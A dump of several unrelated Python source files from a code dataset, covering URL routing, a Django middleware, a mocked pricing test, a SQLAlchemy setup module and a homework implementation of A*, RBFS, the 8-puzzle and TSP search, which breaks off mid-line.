urlvars.update(item[0])\n                                urlvars_info = mounted_resource.urlvars_info\n                                for k in urlvars_info:\n                                    converter = urlvars_info[k]['converter']\n                                    urlvars[k] = converter(urlvars[k])\n                                match = Match(mounted_resource, urlvars)\n                                self.cache[cache_key] = match\n                                if len(self.cache) > self.cache_size:\n                                    self.cache.popitem(last=False)\n                                log.debug(\n                                    '{} found after visiting {} nodes'\n                                    .format(cache_key, nodes_visited))\n                                return match\n                        stack.pop()\n                    else:\n                        tree = child\n                        break\n            else:\n                # Traversed across all children without finding a match.\n                # Go back up to the parent and continue traversing its\n                # children.\n                tree = tree.parent\n                stack.pop()\n\n    def __str__(self):\n        return str(self.root)\n\n\nclass Node:\n\n    def __init__(self, parent, segment):\n        self.parent = parent\n        self.children = OrderedDict()\n        if segment is None:\n            self.regex = None\n        else:\n            self.regex = re.compile(r'^{}$'.format(segment))\n\n        # Multiple resources can be mounted at the same path responding\n        # to different methods. This is necessary for the case where a\n        # request method is mapped to a resource method with a different\n        # name (i.e., when a method_name is passed to MountedResource).\n        self.mounted_resources = []\n\n        # Depths where resources are mounted (relative to this node).\n        self.resource_depths = set()\n\n    def make_child(self, segment):\n        child = self.children.get(segment)\n        if child is None:\n            child = self.__class__(self, segment)\n            self.children[segment] = child\n        return child\n\n    def child_list(self, i=0):\n        child_list = list(self.children.values())\n        if i != 0:\n            child_list = child_list[i:]\n        return child_list\n\n    def __iter__(self):\n        return iter(self.children.values())\n\n    def __str__(self):\n        s = []\n        tree = self\n        children = tree.child_list()\n        level = 0\n        while children:\n            next_children = []\n            s.append('    ' * level)\n            s.append('{}: '.format(tree.regex.pattern))\n            for child in children:\n                mounted_resource = child.mounted_resource\n                if mounted_resource is not None:\n                    s.append(mounted_resource.path_regex + ' ')\n                next_children.extend(child.child_list())\n                s.append(child.regex.pattern + ' | ')\n            s.append('\\n')\n            children = next_children\n            level += 1\n        return ''.join(s).strip()\n\n\nclass MountedResource:\n\n    # URL var format: (converter)identifier:regex\n    urlvar_regex = (\n        r'<'\n        '(?:\\((?P<converter>[^\\d\\W][\\w.:]*)\\)?)?'  # Optional converter\n        '(?P<identifier>[^\\d\\W]\\w*)'               # Any valid Python identifier\n        '(?::(?P<regex>[^/<>]+))?'                 # Optional regular expression\n        '>'\n    )\n\n    def __init__(self, name, factory, path, methods=(), method_name=None,\n                 add_slash=False):\n        if not path.startswith('/'):\n            path = '/' + path\n\n        if path == '/':\n            add_slash = False\n        else:\n            if path.endswith('/'):\n                add_slash = True\n            elif add_slash:\n                path = '{}/'.format(path)\n\n        self.name = name\n        self.factory = factory\n        self.path = path  # normalized path\n        self.methods = set(as_tuple(methods, sep=','))\n        self.method_name = method_name\n        self.add_slash = add_slash\n\n        urlvars_info = {}\n        path_regex = []\n        format_string = []\n        i = 0\n\n        for match in re.finditer(self.urlvar_regex, path):\n            info = match.groupdict()\n            identifier = info['identifier']\n\n            if identifier in urlvars_info:\n                raise ValueError('{} already present'.format(identifier))\n\n            regex = info['regex'] or r'[\\w-]+'\n\n            converter = info['converter']\n            if converter:\n                if ':' in converter:\n                    converter = load_object(converter)\n                else:\n                    converter = get_converter(converter)\n            else:\n                converter = str\n\n            urlvars_info[identifier] = {'regex': regex, 'converter': converter}\n\n            # Get the non-matching part of the string after the previous\n            # match and before the current match.\n            s, e = match.span()\n            if i != s:\n                before_match = path[i:s]\n                path_regex.append(before_match)\n                format_string.append(before_match)\n            i = e\n\n            path_regex.append(r'(?P<{}>{})'.format(identifier, regex))\n            format_string.extend(('{', identifier, '}'))\n\n        if i != len(path):\n            remainder = path[i:]\n            path_regex.append(remainder)\n            format_string.append(remainder)\n\n        path_regex = ''.join(path_regex)\n\n        self.urlvars_info = urlvars_info\n        self.segments = path_regex.strip('/').split('/')\n        self.format_string = ''.join(format_string)\n\n        if add_slash:\n            path_regex = r'{}(?:/?)'.format(path_regex.rstrip('/'))\n\n        self.path_regex = path_regex\n\n    def responds_to(self, method):\n        return not self.methods or method in self.methods\n\n    def format_path(self, **args):\n        \"\"\"Format the resource path with the specified args.\"\"\"\n        for k, v in args.items():\n            if k not in self.urlvars_info:\n                raise ValueError('Unknown URL var: {}'.format(k))\n            converter = self.urlvars_info[k]['converter']\n            try:\n                converter(v)\n            except ValueError:\n                raise ValueError(\n                    'Could not convert `{}` for URL var {}'.format(v, k))\n        return self.format_string.format(**args)\n","sub_path":"tangled/web/resource/mounted.py","file_name":"mounted.py","file_ext":"py","file_size_in_byte":9387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"333341954","text":"a=input()\nn=len(a)\nfrom collections import Counter\nc=Counter()\ndp=[0]*(n)\ndp[0]=1\nc[a[0]]=1\nfor i in range(1,n):\n    dp[i]=dp[i-1]+i-c[a[i]]\n    c[a[i]]+=1\nprint(dp[-1])","sub_path":"Python_codes/p03618/s095559435.py","file_name":"s095559435.py","file_ext":"py","file_size_in_byte":169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"414265965","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author: hollay\n# @Date:   2014-10-28 12:41:59\n# @Last Modified by:   hollay\n# @Last Modified time: 2014-10-28 12:57:08\n\n\nclass SubdomainMiddleware(object):\n\n    '''\n    用于定义子域名映射\n    '''\n\n    def process_request(self, request):\n\n        domain_parts = request.get_host().split('.')\n        if len(domain_parts) == 3 and domain_parts[0] != 'www':\n            request.path_info = '/sites/%s%s' % (domain_parts[0], request.path)\n","sub_path":"blog/middlewares/subdomain.py","file_name":"subdomain.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"248930666","text":"class Solution:\n    # @param A : integer\n    # @return an integer\n    def solve(self, A):\n        b=bin(A)[2:]\n        b=b[::-1]\n        n=[]\n        for i in range(len(b)):\n            if b[i]==\"1\":\n                n.append(i)\n        n=n[::-1]\n        s=0\n        for j in range(len(n)):\n            s+=(int(2**(n[j]-1))*n[j] + 1 + j*int(2**n[j]))%1000000007\n        return s%1000000007","sub_path":"interviewbit/bit_manuplation/count_total_set_bit.py","file_name":"count_total_set_bit.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"387993597","text":"\"\"\"\nTest file for:\nupdate prices\n\"\"\"\n\nimport mock\nimport analysis_engine.mocks.mock_pinance\nimport analysis_engine.mocks.mock_iex\nfrom analysis_engine.mocks.base_test import BaseTestCase\nfrom analysis_engine.consts import SUCCESS\nfrom analysis_engine.consts import ERR\nfrom analysis_engine.work_tasks.get_new_pricing_data \\\n    import run_get_new_pricing_data\nfrom analysis_engine.api_requests \\\n    import build_get_new_pricing_request\n\n\ndef mock_success_task_result(\n        **kwargs):\n    \"\"\"mock_success_task_result\n\n    :param kwargs: keyword args dict\n    \"\"\"\n    res = kwargs\n    res['result']['status'] = SUCCESS\n    res['result']['err'] = None\n    return res\n# end of mock_success_task_result\n\n\ndef mock_success_iex_fetch(\n        **kwargs):\n    \"\"\"mock_success_iex_fetch\n\n    :param kwargs: keyword args dict\n    \"\"\"\n    res = {\n        'status': SUCCESS,\n        'err': None,\n        'rec': {\n            'data': kwargs\n        }\n    }\n    return res\n# end of mock_success_iex_fetch\n\n\ndef mock_err_task_result(\n        **kwargs):\n    \"\"\"mock_err_task_result\n\n    :param kwargs: keyword args dict\n    \"\"\"\n    res = kwargs\n    res['result']['status'] = ERR\n    res['result']['err'] = 'test exception'\n    return res\n# end of mock_err_task_result\n\n\ndef mock_exception_run_publish_pricing_update(\n        **kwargs):\n    \"\"\"mock_exception_run_publish_pricing_update\n\n    :param kwargs: keyword args dict\n    \"\"\"\n    raise Exception(\n        'test throwing mock_exception_run_publish_pricing_update')\n# end of mock_exception_run_publish_pricing_update\n\n\ndef mock_error_iex_fetch(\n        **kwargs):\n    \"\"\"mock_error_iex_fetch\n\n    :param kwargs: keyword args dict\n    \"\"\"\n    raise Exception(\n        'test throwing mock_error_iex_fetch')\n# end of mock_error_iex_fetch\n\n\nclass TestGetNewPricing(BaseTestCase):\n    \"\"\"TestGetNewPricing\"\"\"\n\n    @mock.patch(\n        'pinance.Pinance',\n        new=analysis_engine.mocks.mock_pinance.MockPinance)\n    @mock.patch(\n        ('analysis_engine.iex.get_data.'\n         'get_data_from_iex'),\n        new=mock_success_iex_fetch)\n    @mock.patch(\n        ('analysis_engine.get_pricing.'\n         'get_options'),\n        new=analysis_engine.mocks.mock_pinance.mock_get_options)\n    @mock.patch(\n        ('analysis_engine.get_task_results.'\n         'get_task_results'),\n        new=mock_success_task_result)\n    def test_success_get_new_pricing(self):\n        \"\"\"test_success_get_new_pricing\"\"\"\n        # yahoo is disabled\n        return 0\n        work = build_get_new_pricing_request()\n        work['label'] = 'test_success_get_new_pricing'\n        res = run_get_new_pricing_data(\n            work)\n        self.assertTrue(\n            res['status'] == SUCCESS)\n        self.assertTrue(\n            res['err'] is None)\n        self.assertIsNotNone(\n            res['rec']['news'])\n        self.assertTrue(\n            len(res['rec']['news']) >= 1)\n        self.assertTrue(\n            len(res['rec']['pricing']) >= 1)\n        self.assertTrue(\n            len(res['rec']['options']) >= 1)\n    # end of test_success_get_new_pricing\n\n    @mock.patch(\n        'pinance.Pinance',\n        new=analysis_engine.mocks.mock_pinance.MockPinance)\n    @mock.patch(\n        ('analysis_engine.iex.get_data.'\n         'get_data_from_iex'),\n        new=mock_success_iex_fetch)\n    @mock.patch(\n        ('analysis_engine.work_tasks.publish_pricing_update.'\n         'run_publish_pricing_update'),\n        new=mock_exception_run_publish_pricing_update)\n    def test_err_get_new_pricing(self):\n        \"\"\"test_err_get_new_pricing\"\"\"\n        work = build_get_new_pricing_request()\n        work['label'] = 'test_err_get_new_pricing'\n        res = run_get_new_pricing_data(\n            work)\n        self.assertTrue(\n            res['status'] == ERR)\n    # end of test_err_get_new_pricing\n\n    @mock.patch(\n        ('analysis_engine.iex.get_data.'\n         'get_data_from_iex'),\n        new=mock_error_iex_fetch)\n    @mock.patch(\n        'pinance.Pinance',\n        new=analysis_engine.mocks.mock_pinance.MockPinance)\n    @mock.patch(\n        ('analysis_engine.get_pricing.'\n         'get_options'),\n        new=analysis_engine.mocks.mock_pinance.mock_get_options)\n    @mock.patch(\n        ('analysis_engine.get_task_results.'\n         'get_task_results'),\n        new=mock_success_task_result)\n    def test_success_if_iex_errors(self):\n        \"\"\"test_success_if_iex_errors\"\"\"\n        work = build_get_new_pricing_request()\n        work['label'] = 'test_success_if_iex_errors'\n        res = run_get_new_pricing_data(\n            work)\n        self.assertTrue(\n            res['status'] == SUCCESS)\n    # end of test_success_if_iex_errors\n\n# end of TestGetNewPricing\n","sub_path":"tests/test_get_new_pricing.py","file_name":"test_get_new_pricing.py","file_ext":"py","file_size_in_byte":4687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"3041959","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2009-2014, Erkan Ozgur Yilmaz\n# \n# This module is part of oyProjectManager and is released under the BSD 2\n# License: http://www.opensource.org/licenses/BSD-2-Clause\n\"\"\"\nDatabase Module\n===============\n\nThis is where all the magic happens.\n\n.. versionadded:: 0.2.0\n  SQLite3 Database:\n  \n  To hold the information about all the data created\n  :class:`~oyProjectManager.models.project.Project`\\ s,\n  :class:`~oyProjectManager.models.sequence.Sequence`\\ s,\n  :class:`~oyProjectManager.models.shot.Shot`\\ s,\n  :class:`~oyProjectManager.models.asset.Asset`\\ s and\n  :class:`~oyProjectManager.models.version.VersionType`\\ s\n  , there is a \".metadata.db\" file in the repository root. This SQLite3\n  database has all the information about everything.\n  \n  With this new extension it is much faster to query any data needed.\n\nQuerying data is very simple and fun. To get any kind of data from the\ndatabase, just call the ``db.setup()`` and then use ``db.query`` to get the\ndata.\n\nFor a simple example, lets get all the shots for a Sequence called\n\"TEST_SEQ\" in the \"TEST_PROJECT\"::\n\n  from oyProjectManager import db\n  from oyProjectManager import Project, Sequence, Shot\n  \n  # setup the database session\n  db.setup()\n  \n  all_shots = Shot.query().join(Sequence).\\\n      filter(Sequence.project.name=\"TEST_PROJECT\").\\\n      filter(Shot.sequence.name==\"TEST_SEQ\").all()\n\nthat's it.\n\n\"\"\"\nimport os\nimport logging\n\nimport sqlalchemy\nimport oyProjectManager\nfrom oyProjectManager.db.declarative import Base\n\n# SQLAlchemy database engine\nengine = None\n\n# SQLAlchemy session manager\nsession = None\nquery = None\n\n# SQLAlchemy metadata\nmetadata = None\n\ndatabase_url = None\n\n# create a logger\nlogger = logging.getLogger(__name__)\n#logger.setLevel(logging.WARNING)\nlogger.setLevel(logging.DEBUG)\n\ndef setup(database_url_in=None):\n    \"\"\"Utility function that helps to connect the system to the given database.\n    \n    Returns the created session\n    \n    :param database_url_in: The database address, default is None. If the\n        database_url is skipped or given as None, the default database url\n        from the :mod:`oyProjectManager.config` will be used. This is good,\n        just call ``db.setup()`` and then use ``db.session`` and ``db.query``\n        to get the data.\n    \n    :returns: sqlalchemy.orm.session\n    \"\"\"\n    \n    global engine\n    global session\n    global query\n    global metadata\n    global database_url\n    \n    # create engine\n    # TODO: create tests for this\n    \n    if database_url_in is None:\n        logger.debug(\"using the default database_url from the config file\")\n        \n        # use the default database\n        conf = oyProjectManager.conf\n        database_url_in = conf.database_url\n    \n    # expand user and env variables if any\n    # TODO: because the dialect part and the address part are now coming from\n    # from one source, it is not possible to expand any variables in the path,\n    # try to use SQLAlchemy to separate the dialect and the address part and\n    # expand any data and then merge it again\n    \n    #database_url_in = os.path.expanduser(\n    #    os.path.expandvars(\n    #        os.path.expandvars(\n    #            database_url_in\n    #        )\n    #    )\n    #)\n    \n    while \"$\" in database_url_in or \"~\" in database_url_in:\n        database_url_in = os.path.expanduser(\n            os.path.expandvars(\n                    database_url_in\n            )\n        )\n    \n    database_url = database_url_in\n    \n    logger.debug(\"setting up database in %s\" % database_url)\n    \n    engine = sqlalchemy.create_engine(database_url, echo=False)\n    \n    # create the tables\n    metadata = Base.metadata\n    metadata.create_all(engine)\n    \n    # create the Session class\n    Session = sqlalchemy.orm.sessionmaker(bind=engine)\n    \n    # create and save session object to session\n    session = Session()\n    query = session.query\n    \n    # initialize the db\n    __init_db__()\n    \n    # TODO: create a test to check if the returned session is session\n    return session\n\ndef __init_db__():\n    \"\"\"initializes the just setup database\n    \n    It adds:\n    \n        - Users\n        - VersionTypes\n        \n    to the database.\n    \"\"\"\n    \n    logger.debug(\"db is newly created, initializing the db\")\n    \n    global query\n    global session\n    \n    # get the users from the config\n    from oyProjectManager import conf\n    # ------------------------------------------------------\n    # create the users\n    from oyProjectManager.models.auth import User\n    \n    # get all users from db\n    users_from_db = query(User).all()\n    \n    for user_data in conf.users_data:\n        name = user_data.get(\"name\")\n        initials = user_data.get(\"initials\")\n        email = user_data.get(\"email\")\n        \n        user_from_config = User(name, initials, email)\n        \n        if user_from_config not in users_from_db:\n            session.add(user_from_config)\n    \n    \n    # ------------------------------------------------------\n    # add the VersionTypes\n    from oyProjectManager.models.version import VersionType\n    \n    version_types_from_db = query(VersionType).all()\n    \n    for version_type in conf.version_types:\n        version_type_from_conf = VersionType(**version_type)\n        \n        if version_type_from_conf not in version_types_from_db:\n            session.add(version_type_from_conf)\n    \n    session.commit()\n    \n    logger.debug(\"finished initialization of the db\")\n","sub_path":"oyProjectManager/db/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"15054735","text":"# Submitter: tryond(Tryon, Daniel) - 20621204\n\nfrom utils import (\n    is_in, argmin, argmax, argmax_random_tie, probability,\n    weighted_sample_with_replacement, memoize, print_table, DataFile, Stack,\n    FIFOQueue, PriorityQueue, name\n)\nfrom grid import distance\n\nfrom collections import defaultdict\nimport math\nimport random\nimport sys\nimport bisect\nimport collections\nimport time\nimport pprint\n\ninfinity = float('inf')\n\n\n# ______________________________________________________________________________\n\nclass Problem(object):\n\n    \"\"\"The abstract class for a formal problem.  You should subclass\n    this and implement the methods actions and result, and possibly\n    __init__, goal_test, and path_cost. Then you will create instances\n    of your subclass and solve them with the various search functions.\"\"\"\n\n    def __init__(self, initial, goal=None):\n        \"\"\"The constructor specifies the initial state, and possibly a goal\n        state, if there is a unique goal.  Your subclass's constructor can add\n        other arguments.\"\"\"\n        self.initial = initial\n        self.goal = goal\n\n    def actions(self, state):\n        \"\"\"Return the actions that can be executed in the given\n        state. The result would typically be a list, but if there are\n        many actions, consider yielding them one at a time in an\n        iterator, rather than building them all at once.\"\"\"\n        raise NotImplementedError\n\n    def result(self, state, action):\n        \"\"\"Return the state that results from executing the given\n        action in the given state. The action must be one of\n        self.actions(state).\"\"\"\n        raise NotImplementedError\n\n    def goal_test(self, state):\n        \"\"\"Return True if the state is a goal. The default method compares the\n        state to self.goal or checks for state in self.goal if it is a\n        list, as specified in the constructor. Override this method if\n        checking against a single self.goal is not enough.\"\"\"\n        if isinstance(self.goal, list):\n            return is_in(state, self.goal)\n        else:\n            return state == self.goal\n\n    def path_cost(self, c, state1, action, state2):\n        \"\"\"Return the cost of a solution path that arrives at state2 from\n        state1 via action, assuming cost c to get up to state1. If the problem\n        is such that the path doesn't matter, this function will only look at\n        state2.  If the path does matter, it will consider c and maybe state1\n        and action. The default method costs 1 for every step in the path.\"\"\"\n        return c + 1\n\n    def value(self, state):\n        \"\"\"For optimization problems, each state has a value.  Hill-climbing\n        and related algorithms try to maximize this value.\"\"\"\n        raise NotImplementedError\n\nclass Node:\n\n    \"\"\"A node in a search tree. Contains a pointer to the parent (the node\n    that this is a successor of) and to the actual state for this node. Note\n    that if a state is arrived at by two paths, then there are two nodes with\n    the same state.  Also includes the action that got us to this state, and\n    the total path_cost (also known as g) to reach the node.  Other functions\n    may add an f and h value; see best_first_graph_search and astar_search for\n    an explanation of how the f and h values are handled. You will not need to\n    subclass this class.\"\"\"\n\n    def __init__(self, state, parent=None, action=None, path_cost=0):\n        \"Create a search tree Node, derived from a parent by an action.\"\n        self.state = state\n        self.parent = parent\n        self.action = action\n        self.path_cost = path_cost\n        self.depth = 0\n        if parent:\n            self.depth = parent.depth + 1\n\n    def __repr__(self):\n        return \"<Node %s>\" % (self.state,)\n\n    def __lt__(self, node):\n        return self.state < node.state\n\n    def expand(self, problem):\n        \"List the nodes reachable in one step from this node.\"\n        return [self.child_node(problem, action)\n                for action in problem.actions(self.state)]\n\n    def child_node(self, problem, action):\n        \"[Figure 3.10]\"\n        next = problem.result(self.state, action)\n        return Node(next, self, action,\n                    problem.path_cost(self.path_cost, self.state,\n                                      action, next))\n\n    def solution(self):\n        \"Return the sequence of actions to go from the root to this node.\"\n        return [node.action for node in self.path()[1:]]\n\n    def path(self):\n        \"Return a list of nodes forming the path from the root to this node.\"\n        node, path_back = self, []\n        while node:\n            path_back.append(node)\n            node = node.parent\n        return list(reversed(path_back))\n\n    # We want for a queue of nodes in breadth_first_search or\n    # astar_search to have no duplicated states, so we treat nodes\n    # with the same state as equal. [Problem: this may not be what you\n    # want in other contexts.]\n\n    def __eq__(self, other):\n        return isinstance(other, Node) and self.state == other.state\n\n    def __hash__(self):\n        return hash(self.state)\n\n# ______________________________________________________________________________\n\n\n# Changes made for HW2\ndef best_first_graph_search(problem, f):\n    \"\"\"Search the nodes with the lowest f scores first.\n    You specify the function f(node) that you want to minimize; for example,\n    if f is a heuristic estimate to the goal, then we have greedy best\n    first search; if f is node.depth then we have breadth-first search.\n    There is a subtlety: the line \"f = memoize(f, 'f')\" means that the f\n    values will be cached on the nodes as they are computed. So after doing\n    a best first search you can examine the f values of the path returned.\"\"\"\n    start_time = time.time()\n    size = 0\n    f = memoize(f, 'f')\n    node = Node(problem.initial)\n    if problem.goal_test(node.state):\n        return node, size, time.time() - start_time\n    frontier = PriorityQueue(min, f)\n    frontier.append(node)\n    explored = set()\n    while frontier:\n        size = max(size, len(frontier))\n        node = frontier.pop()\n        if problem.goal_test(node.state):\n            return node, node.path_cost, size, time.time() - start_time\n        explored.add(node.state)\n        for child in node.expand(problem):\n            if child.state not in explored and child not in frontier:\n                frontier.append(child)\n            elif child in frontier:\n                incumbent = frontier[child]\n                if f(child) < f(incumbent):\n                    del frontier[incumbent]\n                    frontier.append(child)\n    return None, None, None, None\n\ngreedy_best_first_graph_search = best_first_graph_search\n\n# Changes made for HW2\ndef astar_search(problem, h=None):\n    \"\"\"A* search is best-first graph search with f(n) = g(n)+h(n).\n    You need to specify the h function when you call astar_search, or\n    else in your Problem subclass.\"\"\"\n\n    h = memoize(h or problem.h, 'h')\n    return best_first_graph_search(problem, lambda n: n.path_cost + h(n))\n\n# Changes made for HW2\ndef recursive_best_first_search(problem, h=None):\n    \"[Figure 3.26]\"\n\n\n    start_time = time.time()\n\n    h = memoize(h or problem.h, 'h')\n\n    def RBFS(problem, node, flimit, size):\n\n        if problem.goal_test(node.state):\n            return node, 0, size   # (The second value is immaterial)\n\n        successors = node.expand(problem)\n\n        size = max(size, len(successors))\n\n        if len(successors) == 0:\n            return None, infinity, size\n        for s in successors:\n            s.f = max(s.path_cost + h(s), node.f)\n        while True:\n            # Order by lowest f value\n            successors.sort(key=lambda x: x.f)\n            best = successors[0]\n            if best.f > flimit:\n                return None, best.f, size\n            if len(successors) > 1:\n                alternative = successors[1].f\n            else:\n                alternative = infinity\n            result, best.f, size = RBFS(problem, best, min(flimit, alternative), size)\n            if result is not None:\n                return result, best.f, size\n\n    node = Node(problem.initial)\n    node.f = h(node)\n    size = 0\n    result, bestf, size = RBFS(problem, node, infinity, size)\n\n    return result, result.path_cost, size, time.time() - start_time\n\n# ______________________________________________________________________________\n# Graphs and Graph Problems\n\n\nclass Graph:\n\n    \"\"\"A graph connects nodes (verticies) by edges (links).  Each edge can also\n    have a length associated with it.  The constructor call is something like:\n        g = Graph({'A': {'B': 1, 'C': 2})\n    this makes a graph with 3 nodes, A, B, and C, with an edge of length 1 from\n    A to B,  and an edge of length 2 from A to C.  You can also do:\n        g = Graph({'A': {'B': 1, 'C': 2}, directed=False)\n    This makes an undirected graph, so inverse links are also added. The graph\n    stays undirected; if you add more links with g.connect('B', 'C', 3), then\n    inverse link is also added.  You can use g.nodes() to get a list of nodes,\n    g.get('A') to get a dict of links out of A, and g.get('A', 'B') to get the\n    length of the link from A to B.  'Lengths' can actually be any object at\n    all, and nodes can be any hashable object.\"\"\"\n\n    def __init__(self, dict=None, directed=True):\n        self.dict = dict or {}\n        self.directed = directed\n        if not directed:\n            self.make_undirected()\n\n    def make_undirected(self):\n        \"Make a digraph into an undirected graph by adding symmetric edges.\"\n        for a in list(self.dict.keys()):\n            for (b, distance) in self.dict[a].items():\n                self.connect1(b, a, distance)\n\n    def connect(self, A, B, distance=1):\n        \"\"\"Add a link from A and B of given distance, and also add the inverse\n        link if the graph is undirected.\"\"\"\n        self.connect1(A, B, distance)\n        if not self.directed:\n            self.connect1(B, A, distance)\n\n    def connect1(self, A, B, distance):\n        \"Add a link from A to B of given distance, in one direction only.\"\n        self.dict.setdefault(A, {})[B] = distance\n\n    def get(self, a, b=None):\n        \"\"\"Return a link distance or a dict of {node: distance} entries.\n        .get(a,b) returns the distance or None;\n        .get(a) returns a dict of {node: distance} entries, possibly {}.\"\"\"\n        links = self.dict.setdefault(a, {})\n        if b is None:\n            return links\n        else:\n            return links.get(b)\n\n    def nodes(self):\n        \"Return a list of nodes in the graph.\"\n        return list(self.dict.keys())\n\ndef UndirectedGraph(dict=None):\n    \"Build a Graph where every edge (including future ones) goes both ways.\"\n    return Graph(dict=dict, directed=False)\n\n    \"\"\"Construct a random graph, with the specified nodes, and random links.\n    The nodes are laid out randomly on a (width x height) rectangle.\n    Then each node is connected to the min_links nearest neighbors.\n    Because inverse links are added, some nodes will have more connections.\n    The distance between nodes is the hypotenuse times curvature(),\n    where curvature() defaults to a random number between 1.1 and 1.5.\"\"\"\n    g = UndirectedGraph()\n    g.locations = {}\n    # Build the cities\n    for node in nodes:\n        g.locations[node] = (random.randrange(width), random.randrange(height))\n    # Build roads from each city to at least min_links nearest neighbors.\n    for i in range(min_links):\n        for node in nodes:\n            if len(g.get(node)) < min_links:\n                here = g.locations[node]\n\n                def distance_to_node(n):\n                    if n is node or g.get(node, n):\n                        return infinity\n                    return distance(g.locations[n], here)\n                neighbor = argmin(nodes, key=distance_to_node)\n                d = distance(g.locations[neighbor], here) * curvature()\n                g.connect(node, neighbor, int(d))\n    return g\n\nclass GraphProblem(Problem):\n\n    \"The problem of searching a graph from one node to another.\"\n\n    def __init__(self, initial, goal, graph):\n        Problem.__init__(self, initial, goal)\n        self.graph = graph\n\n    def actions(self, A):\n        \"The actions at a graph node are just its neighbors.\"\n        return list(self.graph.get(A).keys())\n\n    def result(self, state, action):\n        \"The result of going to a neighbor is just that neighbor.\"\n        return action\n\n    def path_cost(self, cost_so_far, A, action, B):\n        return cost_so_far + (self.graph.get(A, B) or infinity)\n\n    def h(self, node):\n        \"h function is straight-line distance from a node's state to goal.\"\n        locs = getattr(self.graph, 'locations', None)\n        if locs:\n            return int(distance(locs[node.state], locs[self.goal]))\n        else:\n            return infinity\n\n# Implemented for HW2\ndef random_tsp_map():\n\n    d = {}\n    node_num = random.randint(5, 15)\n\n    for i in range(0, node_num):\n        d.update({chr(ord('A') + i): {}})\n\n    for i in range(0, node_num):\n        for j in range(i + 1, node_num):\n            cost = random.randint(1, 100)\n            d[chr(ord('A') + i)].update({chr(ord('A') + j): cost})\n            d[chr(ord('A') + j)].update({chr(ord('A') + i): cost})\n\n    to_ret = UndirectedGraph(d)\n    return to_ret\n\n# Implemented for HW2\nclass EightPuzzleProblem(Problem):\n\n        \"\"\"\n        Row = index / 3\n        Column = index % 3\n\n        Restricted to moving zero tile to adjacent tiles\n        \"\"\"\n\n        def __init__(self, initial):\n            \"Goal is singular and explicit\"\n            goal = tuple(range(0,9))\n            super(EightPuzzleProblem, self).__init__(initial, goal)\n\n            # self.h = ManhattanDistance\n\n        def actions(self, state):\n            \"In which directions can the zero tile move\"\n            to_ret = []\n            i = state.index(0)\n            row = i // 3\n            col = i % 3\n\n            # DEBUG\n            # print(state)\n            # print(\"Row: \", row)\n            # print(\"Col: \", col)\n\n            # Left: if zero not in col 2\n            if col != 0:\n                to_ret.append(-1)\n            # Right: if zero not in col 0\n            if col != 2:\n                to_ret.append(1)\n            # Down: if zero not in row 2\n            if row != 2:\n                to_ret.append(3)\n            # Up: if zero not in row 0\n            if row != 0:\n                to_ret.append(-3)\n\n            return to_ret\n\n        def result(self, state, action):\n            \"Move the zero tile from current to successor state\"\n            new = list(state[:])\n            i = state.index(0)\n            j = i + action\n            new[i], new[j] = new[j], new[i]\n            to_ret = tuple(new)\n            return to_ret\n\n        def goal_test(self, state):\n            return state == self.goal\n\n# Implemented for HW2\ndef check_solvable(state):\n    inversions = 0\n    for i in range(0,9):\n        if state[i] == 0:\n            continue\n        for j in range(i+1,9):\n            if state[j] == 0:\n                continue\n            if (state[i] > state[j]):\n                inversions = inversions + 1\n                # print(\"{} > {}\".format(state[i], state[j]))\n    return inversions % 2 == 0\n\n# Implemented for HW2\ndef print_puzzle(state):\n    for i in range(0,3):\n        j = i * 3\n        print(\"{} {} {}\\n\".format(state[j], state[j+1], state[j+2]))\n\n# Implemented for HW2\ndef ManhattanDistance(node):\n    state = node.state\n\n    # print(\"TEST: \", state)\n\n    total = 0\n    for i in range(0,9):\n\n        # zero tile will fall into place after moving 1-8\n        if state[i] == 0:\n            continue\n\n        total = total + abs((state[i]//3) - (i//3))    # actual row - needed row\n        total = total + abs(state[i]%3 - i%3)          # actual col - need col\n\n\n    return total\n\n# Implemented for HW2\ndef ManhattanDistanceSpecial(node):\n    state = node.state\n\n    # print(\"TEST: \", state)\n\n    total = 0\n    for i in range(0,9):\n\n        # zero tile will fall into place after moving 1-8\n        if state[i] == 0:\n            continue\n\n        total = total + abs((state[i]//3) - (i//3))    # actual row - needed row\n        total = total + abs(state[i]%3 - i%3)          # actual col - need col\n\n    # SPECIAL\n    total += random.randint(0, 5)\n\n    return total\n\n# ______________________________________________________________________________\n\n# Implemented for HW2\nclass TSP(GraphProblem):\n\n    \"The problem of searching a graph from one node to another.\"\n\n    # initial state: start city, with no other cities visited\n    # goal state: back at start city with all cities visited\n    # successor function: generates all cities that have not yet been visited\n    # edge-cost: distance between the cities\n    # h(n): MST\n    # calculate MST (of all unvisited nodes) starting from each node on the frontier, lowest cost = best\n\n    def __init__(self, initial, graph):\n\n        initial = (initial,)\n        goal = tuple(graph.nodes()) + initial\n\n        Problem.__init__(self, initial, goal)    # goal state when initial == goal\n        self.graph = graph\n\n    def actions(self, A):\n        \"The actions at a graph node are just its neighbors.\"\n        a = list(self.graph.get(A[len(A)-1]).keys())\n        for n in A:\n            while n in a: a.remove(n)\n\n        # if all of graph visited, add initial node to actions\n        if not a:\n            a.append(A[0])\n\n        return a\n\n    def result(self, state, action):\n        \"The result of going to a neighbor is just that neighbor.\"\n        return state + (action,)\n\n    def path_cost(self, cost_so_far, A, action, B):\n\n        # print(\"From {} to {}\".format(A[len(A)-1], B[len(B)-1]))\n        # print(self.graph.get(A[len(A)-1], B[len(B)-1]) or infinity)\n        # print(\"Cost So Far: \", cost_so_far)\n\n        return cost_so_far + (self.graph.get(A[len(A)-1], B[len(B)-1]) or infinity)\n\n    # all nodes visited with last visited having direct line to initial goal\n    def goal_test(self, state):\n        \"True when all nodes visited AND back at initial state\"\n        # this means that state should have some extra information\n        # e.g. current city, and explored cities\n\n        # print(\"{} ?= 